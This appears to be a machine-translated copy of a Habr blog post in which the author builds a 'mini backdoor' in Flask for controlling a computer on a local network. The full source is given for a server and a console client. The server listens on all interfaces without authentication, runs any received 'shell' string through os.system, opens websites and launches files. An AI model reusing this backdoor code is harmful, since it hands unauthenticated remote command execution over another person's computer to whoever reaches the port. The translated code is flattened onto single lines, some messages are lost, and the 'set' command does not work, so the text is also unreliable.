Flask上的小型后门或如何在本地网络上控制计算机

哈Ha!

最近,我观看了编程流“如何构建Flask Web应用程序”的下载版本。 他决定在一些项目中巩固自己的知识。 很长时间以来,我不知道该写些什么,然后我想到了一个主意:“为什么不在Flask上制作一个迷你后门?”。

后门实现和功能的第一个选择立即浮现在我脑海。 但是我决定立即列出后门功能列表:

  1. 能够打开网站
  2. 具有命令行访问权限
  3. 能够打开程序,照片,视频

因此,使用webbrowser模块非常容易实现第一项。 我决定使用os模块来实现的第二点。 第三个也是通过os模块,但我将使用“链接”(稍后会详细介绍)。

服务器拼写

因此*鼓*所有服务器代码:

from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands...' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '...' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '...' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0') 

我已经转储了所有代码,是时候解释一下本质了。

所有代码都在本地计算机上的端口5000上运行。 要与服务器交互,我们必须发送JSON POST请求。

JSON请求结构:

 {'command': 'comecommand', 'data': 'somedata'} 

嗯,逻辑上说“命令”就是我们要执行的命令。 而“数据”是命令的参数。

您可以编写和发送JSON请求以使用笔与服务器交互(请求可以帮助您)。 或者,您可以编写控制台客户端。

客户写作

代码:

 import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = {'command': 'test', 'data': 0} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = {'command': 'test', 'data': 0} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = {'command': 'shell', 'data': p} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = {'command': 'link', 'data': int(a[1])} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('   !') if a[0] == 'openweb': if len(a) > 1: dict = {'command': 'openweb', 'data': a[1]} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('   !') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break 

说明

第一步是导入请求模块(用于与服务器交互)。 有关启动和测试功能的进一步说明。 然后是魔术发生的周期。 你读过代码了吗? 因此,循环中发生的魔术的含义对您很清楚。 输入命令-它运行。 Shell-命令行命令( 逻辑通过屋顶 )。

测试-检查服务器是否正常运行(后门)
链接-使用快捷方式
Openweb-网站开通
退出-从客户端退出
设置-在本地网络上设置计算机的IP

现在更多关于链接。

服务器旁边是link.txt文件。 它包含指向文件(视频,照片,程序)的链接(完整路径)。

结构如下:

_>
_>


总结


我们有一个后门服务器,用于控制本地网络(Wi-Fi网络内部)中的计算机。 从技术上讲,我们可以从具有python解释器的任何设备上运行客户端。

PS我添加了set命令,以便如果将不同的IP分配给本地网络上的计算机,则可以直接在客户端中对其进行更改。

Source: https://habr.com/ru/post/zh-CN448360/


All Articles